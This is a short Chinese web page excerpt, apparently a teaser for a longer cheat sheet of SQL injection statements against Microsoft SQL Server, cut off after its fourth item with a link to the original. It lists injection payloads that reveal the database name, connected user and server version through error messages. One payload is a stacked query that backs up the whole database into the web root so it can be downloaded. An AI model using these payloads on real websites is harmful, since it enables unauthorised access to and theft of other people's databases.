SQL注入語句 (很全)

一、返回的是鏈接的數據庫名 and db_name()>0 二、做用是獲取鏈接用戶名 and user>0 三、將數據庫備份到Web目錄下面 ;backup database 數據庫名 to disk='c:\inetpub\wwwroot\1.db';-- 四、顯示SQL系統版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)-- 五

>>阅读原文<<